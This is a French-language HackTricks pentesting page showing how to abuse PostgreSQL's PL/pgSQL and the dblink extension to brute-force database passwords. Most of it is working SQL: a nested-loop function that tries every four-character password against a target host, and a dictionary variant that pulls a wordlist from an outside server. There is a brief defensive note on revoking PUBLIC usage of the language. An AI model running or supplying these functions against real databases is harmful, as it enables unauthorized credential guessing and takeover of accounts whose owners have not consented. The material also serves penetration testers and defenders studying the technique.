PL/pgSQL Password Bruteforce

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Trouvez plus d'informations sur ces attaques dans le document original.

PL/pgSQL est un langage de programmation complet qui va au-delà des capacités de SQL en offrant un contrôle procédural amélioré. Cela inclut l'utilisation de boucles et de diverses structures de contrôle. Les fonctions créées dans le langage PL/pgSQL peuvent être invoquées par des instructions SQL et des déclencheurs, élargissant ainsi le champ des opérations dans l'environnement de base de données.

Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs, mais il doit exister dans la base de données. Vous pouvez vérifier son existence en utilisant :

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Par défaut, la création de fonctions est un privilège accordé à PUBLIC, où PUBLIC fait référence à chaque utilisateur de ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC :

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Dans ce cas, notre requête précédente produirait des résultats différents :

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Notez que pour que le script suivant fonctionne, la fonction dblink doit exister. Si ce n'est pas le cas, vous pouvez essayer de la créer avec

sql
CREATE EXTENSION dblink;

Bruteforce de mot de passe

Voici comment vous pourriez effectuer un bruteforce de mot de passe de 4 caractères :

sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Remarque que même le bruteforce de 4 caractères peut prendre plusieurs minutes.

Vous pourriez également télécharger une liste de mots et essayer uniquement ces mots de passe (attaque par dictionnaire) :

sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks